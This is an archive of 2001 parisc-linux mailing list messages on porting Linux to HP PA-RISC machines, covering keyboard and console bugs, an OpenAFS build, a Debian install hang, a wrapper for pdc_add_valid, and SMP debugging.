Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0CEE4857
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 11:23:36 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (unknown [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id F33261FB02; Fri,  5 Oct 2001 13:23:26 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 4A09237CC0; Fri,  5 Oct 2001 11:23:25 -0600 (MDT)
In-Reply-To: Your message of "Fri, 05 Oct 2001 11:26:27 CDT."
             <6CAC36C3427CEB45A4A6DF0FBDABA56D86D86D@umr-mail03.cc.umr.edu> 
Xref: news.gmane.org gmane.linux.ports.parisc:12486

"Neulinger, Nathan" writes...

> Are there any patches for config.guess/config.sub to add reasonable support
> for parisc-linux? Right now, the ones I was able to get reasonable
> config.sub behavior by adding a basic_machine check for parisc-unknown,
> but has anyone submitted anything better to the maintainers?

The upstream location for these files is,

http://subversions.gnu.org/cgi-bin/cvsweb/config/

hppa-linux support has been there for quite a while but some maintainers are
slow to update. Debian encourages package maintainers to use the versions
provided by the autotools-dev package (which live in /usr/share/misc/config.*)

HTH,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sti broken in pa32 on B180
Date: Fri, 05 Oct 2001 19:41:37 +0200 (CEST)
Lines: 60
Approved: news@gmane.org
Message-ID: <1002303697.3bbdf0d129142@webmail.tiscalinet.be>
References: <1002191096.3bbc38f8c42ed@webmail.tiscalinet.be> <20011004071350.A27483@beavis.ybsoft.com> <1002215177.3bbc9709265c5@webmail.tiscalinet.be> <1002262769.3bbd50f1a5860@webmail.tiscalinet.be> <3BBD912C.9DA840E2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620575 27146 80.91.229.3 (22 Nov 2014 01:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:55 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 11:41:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id D27D34857
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 11:41:45 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15pYyf-00064R-00; Fri, 05 Oct 2001 19:41:37 +0200
In-Reply-To: <3BBD912C.9DA840E2@esiee.fr>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12487

Hi Thomas,

Sorry if I could not help you for such a so detailed question.

But I just recompile pa39 (with patch inventory.c) and it seems to solved on tmy 
b180. (also on 712)

Kind regards,
        joel


Quoting Thomas Marteau <marteaut@esiee.fr>:

> Hi Joel,
> 
> First of all, the STI console and fb is dead on my B132. And now, let's
> go to the kbd.
> 
> 	If you tried the disconnect/reconnect trial of strength on your PC,
> you should see with showkey --scancode a scancode 0xAA that tells the
> controller that a kbd has been reconnected.
> On my B132, I don't see that all the time :( and when this occurs, it
> is
> when the kbd do an timeout/parity error.
> And this is a big trouble b/c it seems that we should look at the state
> of the controller all the time and it is not a solution.
> It seems to be integrated in the chip on PCs and on HP boxes, it is not
> designed for that case, it seems.
> 
> I have two things to say but I need an Hardware HP guy to answer those:
> 	-1) Page 69 of LASI_ers.ps, note 2 is mentionned but I can see only
> the
> note 1. Why?
> 	-2) On my B132, in boot_admin, when you press Escape Key too much
> (more
> than 2 times), you can't type anything!
> you need to press enter and then you can type. This is reproductible!
> Is
> it a normal behaviour?
> 
> > Nervertheless on this b180 the (ps/2) kbd problem is reproductible:
> > disconnect, reconnect the kdb then touch any key then:
> > "keyboard: unrecognised scancode (7f) - Ignored"
> > and I do not find a way to reinit the this kdb.
> > (System still running, just loss the access to the console)
> > 
> > Thanks in advance for addtional help,
> >         Joel
> 
> Thanks for any answer or advice, Thomas.
> ESIEE Team
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Neulinger, Nathan" <nneul@umr.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] openafs on parisc-linux
Date: Fri, 5 Oct 2001 14:06:24 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <6CAC36C3427CEB45A4A6DF0FBDABA56D86D878@umr-mail03.cc.umr.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416620575 27150 80.91.229.3 (22 Nov 2014 01:42:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:55 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 13:06:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.umr.edu (mrelay.cc.umr.edu [131.151.1.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AA454857
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 13:06:29 -0600 (MDT)
Original-Received: from umr-mail01.cc.umr.edu (umr-mail01.cc.umr.edu [131.151.1.108]) via ESMTP by mrelay.cc.umr.edu (8.9.3/R.4.20) id OAA21075; Fri, 5 Oct 2001 14:06:24 -0500
Original-Received: by umr-mail01.cc.umr.edu with Internet Mail Service (5.5.2653.19)
	id <THKHGK2A>; Fri, 5 Oct 2001 14:06:24 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:12488

I just submitted patches to get the OpenAFS user space and kernel module to
build cleanly on parisc-linux. Unfortunately, the kernel module oops when
loaded, but that should hopefully not be too tragic to resolve.

Hopefully those patches should get committed soon, at which point I could
use any assistance tracking down the reason for the panic. 

-- Nathan

------------------------------------------------------------
Nathan Neulinger                       EMail:  nneul@umr.edu
University of Missouri - Rolla         Phone: (573) 341-4841
Computing Services                       Fax: (573) 341-4216




From - Thu Nov 08 21:19:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Fri, 5 Oct 2001 22:20:28 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20011005222028.A13585@dogbert.localdomain>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="M9NhX3UHpAaciwkO"
X-Trace: ger.gmane.org 1416620576 27153 80.91.229.3 (22 Nov 2014 01:42:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 14:22:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34F644830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 14:22:35 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15pbUN-0005RK-00
	for parisc-linux@lists.parisc-linux.org; Fri, 05 Oct 2001 22:22:31 +0200
Original-Received: (qmail 2095 invoked from network); 5 Oct 2001 20:22:31 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 5 Oct 2001 20:22:31 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15pbSO-0003XR-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 05 Oct 2001 22:20:28 +0200
Content-Disposition: inline
In-Reply-To: <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15pbUN-0005RK-00*h.jC1kvCCLw* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12489

--M9NhX3UHpAaciwkO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello all,

An update on my 720/50. I've managed to get the install as far as
downloading all the packages. But when it starts extracting the first
package, base-files, it hangs. This is on 2.4.9-pa39.

Aside, when installing it seems one should create the palo
partition, create and initialise the swap partition, create and
initialise the ext2 partition. Now optionally set up the hostname and
networking, and then move directly to the installation of the base
system. This got me as far as getting all the packages downloaded, as
mentioned above.

I've booted a fresh nfsroot again, and as John Marvin mentioned a few
days ago, ls still hangs randomly, although it doesn't seem to depend on
the directory. On a previous boot I managed a ls -lR /, but now a simple
ls / hangs the system.

Any suggestions on how I proceed from here? What is still missing from
the kernel and what can I do to help fix it? :-)

Regards,

Albert

--M9NhX3UHpAaciwkO
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE7vhYMDg+hOeRZtkMRAvrSAJ9yw1+m9K4+KCY3bpqiEkina1ofowCeIjCo
pJJthWfLHjJ99chMQgMm+qU=
=d1to
-----END PGP SIGNATURE-----

--M9NhX3UHpAaciwkO--




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Fri, 5 Oct 2001 21:56:00 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620576 27156 80.91.229.3 (22 Nov 2014 01:42:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Albert Strasheim <fullung@ilink.nis.za>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 14:56:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97FD94830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 14:56:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pc0m-00032z-00; Fri, 05 Oct 2001 21:56:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011005222028.A13585@dogbert.localdomain>; from fullung@ilink.nis.za on Fri, Oct 05, 2001 at 10:20:28PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12490

On Fri, Oct 05, 2001 at 10:20:28PM +0200, Albert Strasheim wrote:
> Any suggestions on how I proceed from here? What is still missing from
> the kernel and what can I do to help fix it? :-)

nothing's missing from the kernel -- the compiler needs to get fixed.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] woody install on 720/50
Date: Fri, 5 Oct 2001 23:36:02 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20011005233602.A13826@dogbert.localdomain>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620576 27158 80.91.229.3 (22 Nov 2014 01:42:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 15:38:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id C27BF4830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 15:38:08 -0600 (MDT)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #1)
	id 15pcfU-0001l3-00
	for parisc-linux@lists.parisc-linux.org; Fri, 05 Oct 2001 23:38:04 +0200
Original-Received: (qmail 2276 invoked from network); 5 Oct 2001 21:38:04 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 5 Oct 2001 21:38:04 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 15pcdW-0003b3-00; Fri, 05 Oct 2001 23:36:02 +0200
Content-Disposition: inline
In-Reply-To: <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
Original-Sender: Albert Strasheim <fullung@dogbert.localdomain>
X-Scanner: exiscan *15pcfU-0001l3-00*rgN8IZXOLcg* http://duncanthrax.net/exiscan/
Xref: news.gmane.org gmane.linux.ports.parisc:12491

Hello,

On Fri, 05 Oct 2001, Matthew Wilcox wrote:

> On Fri, Oct 05, 2001 at 10:20:28PM +0200, Albert Strasheim wrote:
> > Any suggestions on how I proceed from here? What is still missing from
> > the kernel and what can I do to help fix it? :-)
> 
> nothing's missing from the kernel -- the compiler needs to get fixed.

Okay, I seem to recall now that you mentioned this. :-) What needs to
get done to "prove" that is a compiler bug. I'm willing to take it up
with the GCC people once I know what to tell them. :-)

Regards,

Albert




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pdc_add_valid
Date: Fri, 5 Oct 2001 14:58:13 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200110052158.OAA06081@opus.allegro.com>
References: <20011005172222.D19206@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620577 27163 80.91.229.3 (22 Nov 2014 01:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 15:58:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 384364830
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 15:58:16 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id OAA06081;
	Fri, 5 Oct 2001 14:58:14 -0700
In-Reply-To: <20011005172222.D19206@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Oct 05, 2001 05:22:22 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:12492

Re:

>         if (!pdc_add_valid( (void *)(port+4))) {
> 
> Which says to me `if this address is not valid' -- the opposite of what it
> does.  It could be rewritten as:

Very good point.

Code should be readable first, and efficient second.

Routines that work the opposite of their name are just problems
waiting to happen.
 
> 	if (valid_io_addr (port+4)) {
vs:
> +       return (pdc_add_valid (addr) == PDC_OK);

The latter has the advantage that the reader knows it's a PDC
routine being called, not some kernel routine that could be done
who knows what.

Thus, I'd go for the latter, or change your "valid_io_addr" to
"pdc_valid_io_addr", to (a) be readable; and (b) convey the PDC info.

Stan (still can't believe HP-UX uses non-compatible "sprintf" in the kernel) Sieler




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pdc_add_valid
Date: Sat, 6 Oct 2001 00:24:10 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20011006002410.D3745@parcelfarce.linux.theplanet.co.uk>
References: <20011005172222.D19206@parcelfarce.linux.theplanet.co.uk> <200110052158.OAA06081@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620577 27167 80.91.229.3 (22 Nov 2014 01:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:57 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 17:24:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7C954830
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 17:24:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15peKA-0005D9-00; Sat, 06 Oct 2001 00:24:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200110052158.OAA06081@opus.allegro.com>; from sieler@allegro.com on Fri, Oct 05, 2001 at 02:58:13PM -0700
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12493

On Fri, Oct 05, 2001 at 02:58:13PM -0700, Stan Sieler wrote:
> > 	if (valid_io_addr (port+4)) {
> vs:
> > +       return (pdc_add_valid (addr) == PDC_OK);
> 
> The latter has the advantage that the reader knows it's a PDC
> routine being called, not some kernel routine that could be done
> who knows what.
> 
> Thus, I'd go for the latter, or change your "valid_io_addr" to
> "pdc_valid_io_addr", to (a) be readable; and (b) convey the PDC info.

I should have explained this in my original mail... the reason I don't
want to make this a pdc_* call is that I believe we have an expectation
that pdc_* calls return PDC_ error codes.  Perhaps this isn't an
expectation that people have, in which case I don't have an objection
to simply renaming pdc_add_valid to pdc_addr_valid, and changing the
sense of the return value.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Francois Deppierraz <francois@ctrlaltdel.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] nmap -O -> kernel panic on 712
Date: Sat, 6 Oct 2001 02:08:29 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <20011006020828.D2385@gollum.intranet.nimag.net>
References: <20010917165501.B17483@gollum.intranet.nimag.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620577 27171 80.91.229.3 (22 Nov 2014 01:42:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 18:08:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from oscar.intranet.nimag.net (slipknot.nimag.net [195.202.197.141])
	by dsl2.external.hp.com (Postfix) with SMTP id 0B16E4830
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Oct 2001 18:08:33 -0600 (MDT)
Original-Received: (qmail 11536 invoked from network); 6 Oct 2001 00:08:30 -0000
Original-Received: from gollum.intranet.nimag.net (192.168.0.10)
  by oscar.intranet.nimag.net with SMTP; 6 Oct 2001 00:08:30 -0000
Original-Received: from francois by gollum.intranet.nimag.net with local (Exim 3.32 #1 (Debian))
	id 15pf13-0002WO-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 06 Oct 2001 02:08:29 +0200
Content-Disposition: inline
In-Reply-To: <20010917165501.B17483@gollum.intranet.nimag.net>
User-Agent: Mutt/1.3.22i
Original-Sender: Francois Deppierraz <francois@ctrlaltdel.ch>
Xref: news.gmane.org gmane.linux.ports.parisc:12494

On Mon, Sep 17, 2001 at 04:55:01PM +0200, Francois Deppierraz wrote:

> My HP 712/60 with a 2.4.9-pa20 kernel crash with the following error
> message when I portscan it using nmap -O (OS detection).
> 
> kswapd[4]: Unaligned data reference 28

I just upgraded today to 2.4.9-pa38 and it looks like this bug is
fixed.

Thanks you guys, great work !
-- 
Francois Deppierraz <francois.deppierraz@nimag.net>
Nimag Networks Srl - www.nimag.net
PGP Key ID: 9D283BC9




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pdc_add_valid
Date: Fri, 05 Oct 2001 18:26:58 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <200110060026.SAA05769@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620578 27178 80.91.229.3 (22 Nov 2014 01:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 18:30:40 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FFE64830
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 18:30:40 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA05769;
	Fri, 5 Oct 2001 18:26:58 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 05 Oct 2001 17:22:22 BST." <20011005172222.D19206@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12495

Matthew Wilcox wrote:
> 
> The pdc_add_valid function really annoys me.

So you want a sane wrapper around it.

> For the moment, I've put it in <asm/io.h>, since it is for I/O addresses.
> 
> +int valid_io_addr(unsigned long addr)
> +{
> +       return (pdc_add_valid(addr) == PDC_OK);
> +}

I prefer asm/io.h not depend on pdc.h.
Why not just add whatever wrapper to pdc.h?

> But maybe we should replace pdc_add_valid with valid_io_addr?
> Or a different function?  Suggestions appreciated.

sorry - no better ideas.

grant




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The continuing SMP problems
Date: Sat, 6 Oct 2001 01:43:13 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20011006014313.E3745@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620578 27179 80.91.229.3 (22 Nov 2014 01:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 18:43:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 791D74A5F
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 18:43:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15pfYf-0006As-00
	for parisc-linux@parisc-linux.org; Sat, 06 Oct 2001 01:43:13 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12496

I've tracked down one problem a little bit.  The L2k hangs with an SMP
kernel (even with only one CPU enabled) after:

Linux NET4.0 for Linux 2.4                                                      
Based upon Swansea University Computer Society NET3.039                         

What it's doing here is trying to run the keyboard_tasklet, which seems
to be disabled, so it reschedules it... ad infinitum.  More investigation
required, but I'm on the track, I think.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The continuing SMP problems
Date: Fri, 05 Oct 2001 23:49:07 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <200110060549.XAA06336@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620578 27183 80.91.229.3 (22 Nov 2014 01:42:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:42:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  5 23:52:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B68C4830
	for <parisc-linux@parisc-linux.org>; Fri,  5 Oct 2001 23:52:44 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id XAA06336;
	Fri, 5 Oct 2001 23:49:07 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 06 Oct 2001 01:43:13 BST." <20011006014313.E3745@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:12497

